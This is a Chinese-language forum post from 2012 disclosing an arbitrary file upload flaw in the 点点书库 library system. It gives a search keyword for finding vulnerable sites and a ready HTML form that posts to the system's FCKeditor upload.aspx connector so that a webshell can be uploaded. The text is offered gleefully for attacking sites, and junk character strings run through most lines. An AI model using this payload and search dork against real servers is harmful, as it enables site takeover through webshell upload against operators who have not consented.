主题:图书馆系统任意文件上传漏洞
+ p! I& f" a2 A- S& ? 作者:冰锋刺客
# U" x% g/ n1 D0 e! {6 f7 K 厂商:点击书(dianjishu.com)0 S: Y) K" h0 z' h: _! q
日期:2012-6-21) l4 Z9 Z! V* E) f1 w
. J8 G. G* V$ P* \( B
I 概述" Y, M V( R+ R; \, n$ s- P; v" @% E( [
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
# M" u! C2 x( h3 h/ e II 简介
7 P7 S; ]. R6 `7 D- O& t 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"! h' W8 B' m- E) G
补充一个漏洞
2 N( a& x) |" E% P1 \: l <form id="frmUpload" enctype="multipart/form-data"9 x. O6 S2 o7 Y" @
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>$ P, @3 [+ _: b
<input id="btnUpload" type="submit" value="操翻他">
2 H/ A: o/ W4 D. G. I5 G9 A4 `! ^ </form>
6 W, H* l7 ]) F9 e& E0 D 你们懂的
; t" n% a* _' Y/ R 那傻逼提供还需要改包.
3 P# b+ M/ s& ]' ^- k" q 自己看了下源代码发现fckeditor# N8 j/ l2 o* Y: X
直接秒杀
3 w3 \, l% g5 t8 R& u, e1 [ |
发表于 2012-9-10 21:20:59
收藏
支持
反对